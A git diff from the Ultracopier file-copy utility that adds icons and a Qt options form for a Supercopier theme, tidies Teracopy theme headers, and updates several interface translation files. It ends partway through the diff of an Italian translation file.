diff --git a/plugins-alternative/Themes/Supercopier/resources/export-transfer-list.png b/plugins-alternative/Themes/Supercopier/resources/export-transfer-list.png
new file mode 100644
index 0000000..2bcc455
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/export-transfer-list.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/import-transfer-list.png b/plugins-alternative/Themes/Supercopier/resources/import-transfer-list.png
new file mode 100644
index 0000000..d208342
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/import-transfer-list.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/main.png b/plugins-alternative/Themes/Supercopier/resources/main.png
new file mode 100644
index 0000000..9bec399
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/main.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/moveDown.png b/plugins-alternative/Themes/Supercopier/resources/moveDown.png
new file mode 100644
index 0000000..7f4ff27
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/moveDown.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/moveUp.png b/plugins-alternative/Themes/Supercopier/resources/moveUp.png
new file mode 100644
index 0000000..9397b76
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/moveUp.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/player_end.png b/plugins-alternative/Themes/Supercopier/resources/player_end.png
new file mode 100644
index 0000000..9730302
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/player_end.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/player_pause.png b/plugins-alternative/Themes/Supercopier/resources/player_pause.png
new file mode 100644
index 0000000..429ae43
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/player_pause.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/player_play.png b/plugins-alternative/Themes/Supercopier/resources/player_play.png
new file mode 100644
index 0000000..a28ac73
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/player_play.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/progressbarleft.png b/plugins-alternative/Themes/Supercopier/resources/progressbarleft.png
new file mode 100644
index 0000000..bbee9c8
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/progressbarleft.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/progressbarright.png b/plugins-alternative/Themes/Supercopier/resources/progressbarright.png
new file mode 100644
index 0000000..93e5781
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/progressbarright.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/putOnBottom.png b/plugins-alternative/Themes/Supercopier/resources/putOnBottom.png
new file mode 100644
index 0000000..9ac517c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/putOnBottom.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/putOnTop.png b/plugins-alternative/Themes/Supercopier/resources/putOnTop.png
new file mode 100644
index 0000000..5682829
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/putOnTop.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/remove.png b/plugins-alternative/Themes/Supercopier/resources/remove.png
new file mode 100644
index 0000000..3a2a9f1
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/remove.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/resources/search.png b/plugins-alternative/Themes/Supercopier/resources/search.png
new file mode 100644
index 0000000..567f498
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/resources/search.png
Binary files differ
diff --git a/plugins-alternative/Themes/Supercopier/themesOptions.ui b/plugins-alternative/Themes/Supercopier/themesOptions.ui
new file mode 100644
index 0000000..46c7f97
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/themesOptions.ui
@@ -0,0 +1,384 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>themesOptions</class>
+ <widget class="QWidget" name="themesOptions">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>540</width>
+ <height>325</height>
+ </rect>
+ </property>
+ <layout class="QHBoxLayout" name="horizontalLayout_2">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="margin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QToolBox" name="toolBox">
+ <property name="currentIndex">
+ <number>0</number>
+ </property>
+ <widget class="QWidget" name="page">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>530</width>
+ <height>237</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Use</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout">
+ <item row="0" column="0" colspan="2">
+ <widget class="QLabel" name="labelStartWithMoreButtonPushed">
+ <property name="text">
+ <string>Start with the &quot;more button&quot; pushed</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="2">
+ <widget class="QCheckBox" name="checkBoxStartWithMoreButtonPushed"/>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="labelAlwaysOnTop">
+ <property name="text">
+ <string>Always on top</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="2">
+ <widget class="QCheckBox" name="alwaysOnTop"/>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label">
+ <property name="text">
+ <string>Minimize on close to systray</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="2">
+ <widget class="QCheckBox" name="minimizeToSystray"/>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_2">
+ <property name="text">
+ <string>At the end of the copy</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="2">
+ <widget class="QComboBox" name="comboBox_copyEnd">
+ <item>
+ <property name="text">
+ <string notr="true">Don't close if errors are found</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Never close</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Always close</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="label_Slider_speed">
+ <property name="text">
+ <string>Limit copy speed to</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="1">
+ <widget class="QSlider" name="SliderSpeed">
+ <property name="maximum">
+ <number>5</number>
+ </property>
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="2">
+ <widget class="QLabel" name="label_SpeedMaxValue">
+ <property name="text">
+ <string notr="true">Unlimited</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="0">
+ <widget class="QCheckBox" name="checkBox_limitSpeed">
+ <property name="text">
+ <string>Limit copy speed to</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="1">
+ <widget class="QSpinBox" name="limitSpeed">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="suffix">
+ <string> KB/s</string>
+ </property>
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>999999</number>
+ </property>
+ </widget>
+ </item>
+ <item row="6" column="2">
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>71</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="page_3">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>241</width>
+ <height>33</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Informations</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout_2">
+ <item row="0" column="0">
+ <widget class="QLabel" name="labelShowSpeedAsMain">
+ <property name="text">
+ <string>Show speed as main information</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1">
+ <widget class="QCheckBox" name="checkBoxShowSpeed"/>
+ </item>
+ <item row="1" column="1">
+ <spacer name="verticalSpacer_2">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>201</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="page_2">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>441</width>
+ <height>107</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Display</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout_3">
+ <item row="0" column="0">
+ <widget class="QLabel" name="labelSpeedWithProgressBar">
+ <property name="text">
+ <string>Speed with progress bar</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="2">
+ <widget class="QCheckBox" name="speedWithProgressBar"/>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_3">
+ <property name="text">
+ <string>Show progression in the title</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="2">
+ <widget class="QCheckBox" name="showProgressionInTheTitle"/>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="labelDualProgression">
+ <property name="text">
+ <string>Show dual progression</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="2">
+ <widget class="QCheckBox" name="showDualProgression"/>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="labelProgressionColor">
+ <property name="text">
+ <string>Progression color</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="2">
+ <widget class="QFrame" name="frameProgressionColor">
+ <property name="minimumSize">
+ <size>
+ <width>225</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>225</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Click to edit the color</string>
+ </property>
+ <layout class="QHBoxLayout" name="horizontalLayout_3">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="margin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QPushButton" name="progressColorWrite">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="progressColorRead">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="progressColorRemaining">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item row="4" column="1">
+ <spacer name="verticalSpacer_3">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>127</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <resources/>
+ <connections>
+ <connection>
+ <sender>checkBox_limitSpeed</sender>
+ <signal>clicked(bool)</signal>
+ <receiver>limitSpeed</receiver>
+ <slot>setEnabled(bool)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>109</x>
+ <y>144</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>199</x>
+ <y>144</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+</ui>
diff --git a/plugins-alternative/Themes/Teracopy/DebugEngineMacro.h b/plugins-alternative/Themes/Teracopy/DebugEngineMacro.h
index a3dd648..4582010 100644
--- a/plugins-alternative/Themes/Teracopy/DebugEngineMacro.h
+++ b/plugins-alternative/Themes/Teracopy/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins-alternative/Themes/Teracopy/Environment.h b/plugins-alternative/Themes/Teracopy/Environment.h
index 94fd104..265a5a6 100644
--- a/plugins-alternative/Themes/Teracopy/Environment.h
+++ b/plugins-alternative/Themes/Teracopy/Environment.h
@@ -1,8 +1,7 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
diff --git a/plugins-alternative/Themes/Teracopy/Languages/ar/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/ar/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/ar/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/ar/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/de/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/de/translation.ts
index 237dc4f..a2da10c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/de/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/de/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0" language="de" sourcelanguage="en">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation>Total: %1 von %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation>%1 von %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation>%1% erledigt</translation>
</message>
@@ -24,27 +24,27 @@
<message>
<location filename="../../interface.ui" line="159"/>
<source>&amp;More</source>
- <translation>Mehr</translation>
+ <translation>&amp;Mehr</translation>
</message>
<message>
<location filename="../../interface.ui" line="172"/>
<source>...</source>
- <translation></translation>
+ <translation>...</translation>
</message>
<message>
<location filename="../../interface.ui" line="210"/>
<source>&amp;Pause</source>
- <translation></translation>
+ <translation>&amp;Pause</translation>
</message>
<message>
<location filename="../../interface.ui" line="232"/>
<source>&amp;Skip</source>
- <translation>überspringen</translation>
+ <translation>überspringen (&amp;S)</translation>
</message>
<message>
<location filename="../../interface.ui" line="251"/>
<source>&amp;Cancel</source>
- <translation>Stornieren</translation>
+ <translation>Abbrechen (&amp;C)</translation>
</message>
<message>
<location filename="../../interface.ui" line="281"/>
@@ -72,22 +72,22 @@ p, li { white-space: pre-wrap; }
<message>
<location filename="../../interface.ui" line="326"/>
<source>Move file(s)</source>
- <translation>Bewegen Sie Datei (en)</translation>
+ <translation>Datei (en) verschieben</translation>
</message>
<message>
<location filename="../../interface.ui" line="335"/>
<source>Move folder</source>
- <translation>bewegen Sie Ordner</translation>
+ <translation>Ordner verschieben</translation>
</message>
<message>
<location filename="../../interface.ui" line="344"/>
<source>Copy file(s)</source>
- <translation>Kopieren Sie die Datei (en)</translation>
+ <translation>Datei (en) kopieren</translation>
</message>
<message>
<location filename="../../interface.ui" line="353"/>
<source>Copy folder</source>
- <translation>kopieren Sie das Verzeichnis</translation>
+ <translation>Verzeichnis kopieren</translation>
</message>
</context>
</TS>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/el/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/el/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/el/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/el/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/en/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/en/translation.ts
new file mode 100644
index 0000000..d9fb1d6
--- /dev/null
+++ b/plugins-alternative/Themes/Teracopy/Languages/en/translation.ts
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="95"/>
+ <source>Total: %1 of %2</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="96"/>
+ <source>%1 of %2</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="250"/>
+ <source>%1% done</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="159"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="172"/>
+ <source>...</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="210"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="232"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="251"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="281"/>
+ <source>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
+&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
+p, li { white-space: pre-wrap; }
+&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:&apos;Sans Serif&apos;; font-size:9pt; font-weight:400; font-style:normal;&quot;&gt;
+&lt;p style=&quot; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;&quot;&gt;&lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;&lt;span style=&quot; font-size:8pt; text-decoration: underline; color:#0057ae;&quot;&gt;Support Ultracopier&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="308"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="317"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="335"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="344"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="353"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/es/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/es/translation.ts
index fe526da..5081c0f 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/es/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/es/translation.ts
@@ -2,21 +2,21 @@
<!DOCTYPE TS>
<TS version="2.0" language="es" sourcelanguage="en">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
- <translation>Total: %1 de %2</translation>
+ <translation type="unfinished">Total: %1 de %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
- <translation>%1 de %2</translation>
+ <translation type="unfinished">%1 de %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
- <translation>%1% hecho</translation>
+ <translation type="unfinished">%1% hecho</translation>
</message>
</context>
<context>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/fr/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/fr/translation.ts
index 42ac61d..fd6eaa1 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/fr/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/fr/translation.ts
@@ -2,20 +2,21 @@
<!DOCTYPE TS>
<TS version="2.0" language="fr" sourcelanguage="en">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation>Total: %1 sur %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation>%1 sur %2</translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
+ <translatorcomment>Exemple: 90% fait</translatorcomment>
<translation>%1% fait</translation>
</message>
</context>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/hi/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/hi/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/hi/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/hi/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/hu/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/hu/translation.ts
new file mode 100644
index 0000000..3d940b4
--- /dev/null
+++ b/plugins-alternative/Themes/Teracopy/Languages/hu/translation.ts
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="95"/>
+ <source>Total: %1 of %2</source>
+ <translation>Összesen: %1 / %2</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="96"/>
+ <source>%1 of %2</source>
+ <translation>%1 / %2</translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="250"/>
+ <source>%1% done</source>
+ <translation>%1% kész</translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="159"/>
+ <source>&amp;More</source>
+ <translation>&amp;Több</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="172"/>
+ <source>...</source>
+ <translation>...</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="210"/>
+ <source>&amp;Pause</source>
+ <translation>&amp;Szünet</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="232"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="251"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Mégse</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="281"/>
+ <source>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
+&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
+p, li { white-space: pre-wrap; }
+&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:&apos;Sans Serif&apos;; font-size:9pt; font-weight:400; font-style:normal;&quot;&gt;
+&lt;p style=&quot; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;&quot;&gt;&lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;&lt;span style=&quot; font-size:8pt; text-decoration: underline; color:#0057ae;&quot;&gt;Support Ultracopier&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <translation>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
+&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
+p, li { white-space: pre-wrap; }
+&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:&apos;Sans Serif&apos;; font-size:9pt; font-weight:400; font-style:normal;&quot;&gt;
+&lt;p style=&quot; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;&quot;&gt;&lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;&lt;span style=&quot; font-size:8pt; text-decoration: underline; color:#0057ae;&quot;&gt;Támogasd az Ultracopier-t&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="308"/>
+ <source>Add file</source>
+ <translation>Fájl hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="317"/>
+ <source>Add folder</source>
+ <translation>Mappa hozzáadása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Move file(s)</source>
+ <translation>Fájl(ok) mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="335"/>
+ <source>Move folder</source>
+ <translation>Mappa mozgatása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="344"/>
+ <source>Copy file(s)</source>
+ <translation>Fájl(ok) másolása</translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="353"/>
+ <source>Copy folder</source>
+ <translation>Mappa másolása</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/id/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/id/translation.ts
index 33cd084..b76694c 100644
--- a/plugins-alternative/Themes/Teracopy/Languages/id/translation.ts
+++ b/plugins-alternative/Themes/Teracopy/Languages/id/translation.ts
@@ -2,19 +2,19 @@
<!DOCTYPE TS>
<TS version="2.0">
<context>
- <name>InterfacePlugin</name>
+ <name>Themes</name>
<message>
- <location filename="../../interface.cpp" line="76"/>
+ <location filename="../../interface.cpp" line="95"/>
<source>Total: %1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="77"/>
+ <location filename="../../interface.cpp" line="96"/>
<source>%1 of %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.cpp" line="212"/>
+ <location filename="../../interface.cpp" line="250"/>
<source>%1% done</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins-alternative/Themes/Teracopy/Languages/it/translation.ts b/plugins-alternative/Themes/Teracopy/Languages/it/translation.ts
index 746b8a6..31d775e 100644
